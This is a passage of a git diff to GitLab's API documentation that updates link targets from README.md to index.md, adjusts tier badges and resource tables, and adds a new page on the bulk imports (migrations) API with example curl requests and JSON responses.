| [Freeze Periods](freeze_periods.md) | `/projects/:id/freeze_periods` |
+| [Debian distributions](packages/debian_project_distributions.md) | `/projects/:id/debian_distributions` (also available for groups) |
| [Deployments](deployments.md) | `/projects/:id/deployments` |
| [Discussions](discussions.md) (threaded comments) | `/projects/:id/issues/.../discussions`, `/projects/:id/snippets/.../discussions`, `/projects/:id/merge_requests/.../discussions`, `/projects/:id/commits/.../discussions` (also available for groups) |
| [Environments](environments.md) | `/projects/:id/environments` |
@@ -99,6 +100,7 @@ The following API resources are available in the group context:
|:-----------------------------------------------------------------|:---------------------------------------------------------------------------------|
| [Access requests](access_requests.md) | `/groups/:id/access_requests/` (also available for projects) |
| [Custom attributes](custom_attributes.md) | `/groups/:id/custom_attributes` (also available for projects and users) |
+| [Debian distributions](packages/debian_group_distributions.md) | `/groups/:id/-/packages/debian` (also available for projects) |
| [Discussions](discussions.md) (threaded comments) **(ULTIMATE)** | `/groups/:id/epics/.../discussions` (also available for projects) |
| [Epic issues](epic_issues.md) **(ULTIMATE)** | `/groups/:id/epics/.../issues` |
| [Epic links](epic_links.md) **(ULTIMATE)** | `/groups/:id/epics/.../epics` |
@@ -168,7 +170,7 @@ The following API resources are available outside of project and group contexts
| [Suggestions](suggestions.md) | `/suggestions` |
| [System hooks](system_hooks.md) | `/hooks` |
| [To-dos](todos.md) | `/todos` |
-| [Usage data](usage_data.md) | `/usage_data` (For GitLab instance [Administrator](../user/permissions.md) users only) |
+| [Service Data](usage_data.md) | `/usage_data` (For GitLab instance [Administrator](../user/permissions.md) users only) |
| [Users](users.md) | `/users` |
| [Validate `.gitlab-ci.yml` file](lint.md) | `/lint` |
| [Version](version.md) | `/version` |
diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md
index dec2b85c61d..8fbee89f9be 100644
--- a/doc/api/audit_events.md
+++ b/doc/api/audit_events.md
@@ -4,7 +4,7 @@ group: Compliance
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Audit Events API
+# Audit Events API **(PREMIUM)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/121) in GitLab 12.4.
@@ -13,7 +13,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
The Audit Events API allows you to retrieve [instance audit events](../administration/audit_events.md#instance-events).
This API cannot retrieve group or project audit events.
-To retrieve audit events using the API, you must [authenticate yourself](README.md#authentication) as an Administrator.
+To retrieve audit events using the API, you must [authenticate yourself](index.md#authentication) as an Administrator.
### Retrieve all instance audit events
@@ -31,7 +31,7 @@ GET /audit_events
By default, `GET` requests return 20 results at a time because the API results
are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/audit_events"
@@ -129,7 +129,7 @@ Example response:
}
```
-## Group Audit Events **(PREMIUM)**
+## Group Audit Events
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34078) in GitLab 12.5.
@@ -147,14 +147,14 @@ GET /groups/:id/audit_events
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `created_after` | string | no | Return group audit events created on or after the given time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ |
| `created_before` | string | no | Return group audit events created on or before the given time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ |
By default, `GET` requests return 20 results at a time because the API results
are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/groups/60/audit_events"
@@ -209,7 +209,7 @@ GET /groups/:id/audit_events/:audit_event_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `audit_event_id` | integer | yes | The ID of the audit event |
```shell
@@ -237,7 +237,7 @@ Example response:
}
```
-## Project Audit Events **(PREMIUM)**
+## Project Audit Events
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219238) in GitLab 13.1.
@@ -254,14 +254,14 @@ GET /projects/:id/audit_events
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `created_after` | string | no | Return project audit events created on or after the given time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ |
| `created_before` | string | no | Return project audit events created on or before the given time. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ |
By default, `GET` requests return 20 results at a time because the API results
are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/projects/7/audit_events"
@@ -320,7 +320,7 @@ GET /projects/:id/audit_events/:audit_event_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `audit_event_id` | integer | yes | The ID of the audit event |
```shell
diff --git a/doc/api/award_emoji.md b/doc/api/award_emoji.md
index 32ac6ef26ea..dc3dc9fcaca 100644
--- a/doc/api/award_emoji.md
+++ b/doc/api/award_emoji.md
@@ -4,9 +4,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Award Emoji API
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4575) in GitLab 8.9. Snippet support added in 8.12.
+# Award emoji API **(FREE)**
An [awarded emoji](../user/award_emojis.md) tells a thousand words.
@@ -37,7 +35,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:---------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issue_iid`/`merge_request_iid`/`snippet_id` | integer | yes | ID (`iid` for merge requests/issues, `id` for snippets) of an awardable. |
Example request:
@@ -99,7 +97,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:---------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issue_iid`/`merge_request_iid`/`snippet_id` | integer | yes | ID (`iid` for merge requests/issues, `id` for snippets) of an awardable. |
| `award_id` | integer | yes | ID of the award emoji. |
@@ -144,7 +142,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:---------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issue_iid`/`merge_request_iid`/`snippet_id` | integer | yes | ID (`iid` for merge requests/issues, `id` for snippets) of an awardable. |
| `name` | string | yes | Name of the emoji without colons. |
@@ -189,7 +187,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:---------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issue_iid`/`merge_request_iid`/`snippet_id` | integer | yes | ID (`iid` for merge requests/issues, `id` for snippets) of an awardable. |
| `award_id` | integer | yes | ID of an award emoji. |
@@ -218,7 +216,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issue_iid` | integer | yes | Internal ID of an issue. |
| `note_id` | integer | yes | ID of a comment (note). |
@@ -263,7 +261,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issue_iid` | integer | yes | Internal ID of an issue. |
| `note_id` | integer | yes | ID of a comment (note). |
| `award_id` | integer | yes | ID of the award emoji. |
@@ -307,7 +305,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issue_iid` | integer | yes | Internal ID of an issue. |
| `note_id` | integer | yes | ID of a comment (note). |
| `name` | string | yes | Name of the emoji without colons. |
@@ -353,7 +351,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:------------|:---------------|:---------|:-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `issue_iid` | integer | yes | Internal ID of an issue. |
| `note_id` | integer | yes | ID of a comment (note). |
| `award_id` | integer | yes | ID of an award_emoji. |
diff --git a/doc/api/boards.md b/doc/api/boards.md
index 3cdd9552d66..3288aefb1cf 100644
--- a/doc/api/boards.md
+++ b/doc/api/boards.md
@@ -4,9 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Project Issue Boards API
+# Project issue boards API **(FREE)**
-Every API call to boards must be authenticated.
+Every API call to [issue boards](../user/project/issue_board.md) must be authenticated.
If a user is not a member of a private project,
a `GET` request on that project results in a `404` status code.
@@ -21,7 +21,7 @@ GET /projects/:id/boards
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/boards"
@@ -105,7 +105,7 @@ GET /projects/:id/boards/:board_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
```shell
@@ -182,7 +182,7 @@ POST /projects/:id/boards
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the new board |
```shell
@@ -225,7 +225,7 @@ PUT /projects/:id/boards/:board_id
| Attribute | Type | Required | Description |
| ---------------------------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `name` | string | no | The new name of the board |
| `assignee_id` **(PREMIUM)** | integer | no | The assignee the board should be scoped to |
@@ -305,7 +305,7 @@ DELETE /projects/:id/boards/:board_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
```shell
@@ -323,7 +323,7 @@ GET /projects/:id/boards/:board_id/lists
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
```shell
@@ -383,7 +383,7 @@ GET /projects/:id/boards/:board_id/lists/:list_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `list_id`| integer | yes | The ID of a board's list |
@@ -418,7 +418,7 @@ POST /projects/:id/boards/:board_id/lists
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `label_id` | integer | no | The ID of a label |
| `assignee_id` **(PREMIUM)** | integer | no | The ID of a user |
@@ -461,7 +461,7 @@ PUT /projects/:id/boards/:board_id/lists/:list_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `list_id` | integer | yes | The ID of a board's list |
| `position` | integer | yes | The position of the list |
@@ -497,7 +497,7 @@ DELETE /projects/:id/boards/:board_id/lists/:list_id
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `list_id` | integer | yes | The ID of a board's list |
diff --git a/doc/api/branches.md b/doc/api/branches.md
index 2fb9997bdca..15d1b6c2a18 100644
--- a/doc/api/branches.md
+++ b/doc/api/branches.md
@@ -26,7 +26,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:----------|:---------------|:---------|:------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user.|
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user.|
| `search` | string | no | Return list of branches containing the search string. You can use `^term` and `term$` to find branches that begin and end with `term` respectively. |
Example request:
@@ -83,7 +83,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:----------|:---------------|:---------|:-------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `branch` | string | yes | Name of the branch. |
Example request:
@@ -144,7 +144,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:----------|:--------|:---------|:-------------------------------------------------------------------------------------------------------------|
-| `id` | integer | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `branch` | string | yes | Name of the branch. |
| `ref` | string | yes | Branch name or commit SHA to create branch from. |
@@ -199,7 +199,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:----------|:---------------|:---------|:-------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `branch` | string | yes | Name of the branch. |
Example request:
@@ -223,7 +223,7 @@ Parameters:
| Attribute | Type | Required | Description |
|:----------|:---------------|:---------|:-------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
Example request:
diff --git a/doc/api/bulk_imports.md b/doc/api/bulk_imports.md
new file mode 100644
index 00000000000..9521c769d49
--- /dev/null
+++ b/doc/api/bulk_imports.md
@@ -0,0 +1,193 @@
+---
+stage: Manage
+group: Import
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# GitLab Migrations (Bulk Imports) API
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64335) in GitLab 14.1.
+
+With the GitLab Migrations API, you can view the progress of migrations initiated with
+[GitLab Group Migration](../user/group/import/index.md).
+
+## List all GitLab migrations
+
+```plaintext
+GET /bulk_imports
+```
+
+| Attribute | Type | Required | Description |
+|:-----------|:--------|:---------|:---------------------------------------|
+| `per_page` | integer | no | Number of records to return per page. |
+| `page` | integer | no | Page to retrieve. |
+| `status` | string | no | Import status. |
+
+The status can be one of the following:
+
+- `created`
+- `started`
+- `finished`
+- `failed`
+
+```shell
+curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/bulk_imports?per_page=2&page=1"
+```
+
+```json
+[
+ {
+ "id": 1,
+ "status": "finished",
+ "source_type": "gitlab",
+ "created_at": "2021-06-18T09:45:55.358Z",
+ "updated_at": "2021-06-18T09:46:27.003Z"
+ },
+ {
+ "id": 2,
+ "status": "started",
+ "source_type": "gitlab",
+ "created_at": "2021-06-18T09:47:36.581Z",
+ "updated_at": "2021-06-18T09:47:58.286Z"
+ }
+]
+```
+
+## List all GitLab migrations' entities
+
+```plaintext
+GET /bulk_imports/entities
+```
+
+| Attribute | Type | Required | Description |
+|:-----------|:--------|:---------|:---------------------------------------|
+| `per_page` | integer | no | Number of records to return per page. |
+| `page` | integer | no | Page to retrieve. |
+| `status` | string | no | Import status. |
+
+The status can be one of the following:
+
+- `created`
+- `started`
+- `finished`
+- `failed`
+
+```shell
+curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/bulk_imports/entities?per_page=2&page=1&status=started"
+```
+
+```json
+[
+ {
+ "id": 1,
+ "bulk_import_id": 1,
+ "status": "finished",
+ "source_full_path": "source_group",
+ "destination_name": "destination_name",
+ "destination_namespace": "destination_path",
+ "parent_id": null,
+ "namespace_id": 1,
+ "project_id": null,
+ "created_at": "2021-06-18T09:47:37.390Z",
+ "updated_at": "2021-06-18T09:47:51.867Z",
+ "failures": []
+ },
+ {
+ "id": 2,
+ "bulk_import_id": 2,
+ "status": "failed",
+ "source_full_path": "another_group",
+ "destination_name": "another_name",
+ "destination_namespace": "another_namespace",
+ "parent_id": null,
+ "namespace_id": null,
+ "project_id": null,
+ "created_at": "2021-06-24T10:40:20.110Z",
+ "updated_at": "2021-06-24T10:40:46.590Z",
+ "failures": [
+ {
+ "pipeline_class": "BulkImports::Groups::Pipelines::GroupPipeline",
+ "pipeline_step": "extractor",
+ "exception_class": "Exception",
+ "correlation_id_value": "dfcf583058ed4508e4c7c617bd7f0edd",
+ "created_at": "2021-06-24T10:40:46.495Z"
+ }
+ ]
+ }
+]
+```
+
+## Get GitLab migration details
+
+```plaintext
+GET /bulk_imports/:id
+```
+
+```shell
+curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/bulk_imports/1"
+```
+
+```json
+{
+ "id": 1,
+ "status": "finished",
+ "source_type": "gitlab",
+ "created_at": "2021-06-18T09:45:55.358Z",
+ "updated_at": "2021-06-18T09:46:27.003Z"
+}
+```
+
+## List GitLab migration entities
+
+```plaintext
+GET /bulk_imports/:id/entities
+```
+
+| Attribute | Type | Required | Description |
+|:-----------|:--------|:---------|:---------------------------------------|
+| `per_page` | integer | no | Number of records to return per page. |
+| `page` | integer | no | Page to retrieve. |
+| `status` | string | no | Import status. |
+
+The status can be one of the following:
+
+- `created`
+- `started`
+- `finished`
+- `failed`
+
+```shell
+curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/bulk_imports/1/entities?per_page=2&page=1&status=finished"
+```
+
+```json
+[
+ {
+ "id": 1,
+ "status": "finished",
+ "source_type": "gitlab",
+ "created_at": "2021-06-18T09:45:55.358Z",
+ "updated_at": "2021-06-18T09:46:27.003Z"
+ }
+]
+```
+
+## Get GitLab migration entity details
+
+```plaintext
+GET /bulk_imports/:id/entities/:entity_id
+```
+
+```shell
+curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/bulk_imports/1/entities/2"
+```
+
+```json
+{
+ "id": 1,
+ "status": "finished",
+ "source_type": "gitlab",
+ "created_at": "2021-06-18T09:45:55.358Z",
+ "updated_at": "2021-06-18T09:46:27.003Z"
+}
+```
diff --git a/doc/api/commits.md b/doc/api/commits.md
index 711b565bdbd..e164532e0eb 100644
--- a/doc/api/commits.md
+++ b/doc/api/commits.md
@@ -19,7 +19,7 @@ GET /projects/:id/repository/commits
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `ref_name` | string | no | The name of a repository branch, tag or revision range, or if not given the default branch |
| `since` | string | no | Only commits after or on this date are returned in ISO 8601 format `YYYY-MM-DDTHH:MM:SSZ` |
| `until` | string | no | Only commits before or on this date are returned in ISO 8601 format `YYYY-MM-DDTHH:MM:SSZ` |
@@ -85,12 +85,12 @@ POST /projects/:id/repository/commits
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `branch` | string | yes | Name of the branch to commit into. To create a new branch, also provide either `start_branch` or `start_sha`, and optionally `start_project`. |
| `commit_message` | string | yes | Commit message |
| `start_branch` | string | no | Name of the branch to start the new branch from |
| `start_sha` | string | no | SHA of the commit to start the new branch from |
-| `start_project` | integer/string | no | The project ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) to start the new branch from. Defaults to the value of `id`. |
+| `start_project` | integer/string | no | The project ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) to start the new branch from. Defaults to the value of `id`. |
| `actions[]` | array | yes | An array of action hashes to commit as a batch. See the next table for what attributes it can take. |
| `author_email` | string | no | Specify the commit author's email address |
| `author_name` | string | no | Specify the commit author's name |
@@ -174,7 +174,7 @@ Example response:
}
```
-GitLab supports [form encoding](README.md#encoding-api-parameters-of-array-and-hash-types). The following is an example using Commit API with form encoding:
+GitLab supports [form encoding](index.md#encoding-api-parameters-of-array-and-hash-types). The following is an example using Commit API with form encoding:
```shell
curl --request POST \
@@ -212,7 +212,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit hash or name of a repository branch or tag |
| `stats` | boolean | no | Include commit stats. Default is true |
@@ -269,7 +269,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit hash |
| `type` | string | no | The scope of commits. Possible values `branch`, `tag`, `all`. Default is `all`. |
@@ -303,7 +303,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `sha` | string | yes | The commit hash |
| `branch` | string | yes | The name of the branch |
| `dry_run` | boolean | no | Does not commit any changes. Default is false. [Introduced in GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/231032) |
@@ -378,7 +378,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `sha` | string | yes | Commit SHA to revert |
| `branch` | string | yes | Target branch name |
| `dry_run` | boolean | no | Does not commit any changes. Default is false. [Introduced in GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/231032) |
@@ -446,7 +446,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit hash or name of a repository branch or tag |
```shell
@@ -482,7 +482,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit hash or name of a repository branch or tag |
```shell
@@ -531,7 +531,7 @@ POST /projects/:id/repository/commits/:sha/comments
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit SHA or name of a repository branch or tag |
| `note` | string | yes | The text of the comment |
| `path` | string | no | The file path relative to the repository |
@@ -576,7 +576,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit hash or name of a repository branch or tag |
```shell
@@ -635,11 +635,11 @@ GET /projects/:id/repository/commits/:sha/statuses
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit SHA
| `ref` | string | no | The name of a repository branch or tag or, if not given, the default branch
-| `stage` | string | no | Filter by [build stage](../ci/yaml/README.md#stages), e.g., `test`
-| `name` | string | no | Filter by [job name](../ci/yaml/README.md#job-keywords), e.g., `bundler:audit`
+| `stage` | string | no | Filter by [build stage](../ci/yaml/index.md#stages), for example, `test`
+| `name` | string | no | Filter by [job name](../ci/yaml/index.md#job-keywords), for example, `bundler:audit`
| `all` | boolean | no | Return all statuses, not only the latest ones
```shell
@@ -709,7 +709,7 @@ POST /projects/:id/statuses/:sha
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit SHA
| `state` | string | yes | The state of the status. Can be one of the following: `pending`, `running`, `success`, `failed`, `canceled`
| `ref` | string | no | The `ref` (branch or tag) to which the status refers
@@ -762,7 +762,7 @@ GET /projects/:id/repository/commits/:sha/merge_requests
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
| `sha` | string | yes | The commit SHA
```shell
@@ -834,7 +834,7 @@ Parameters:
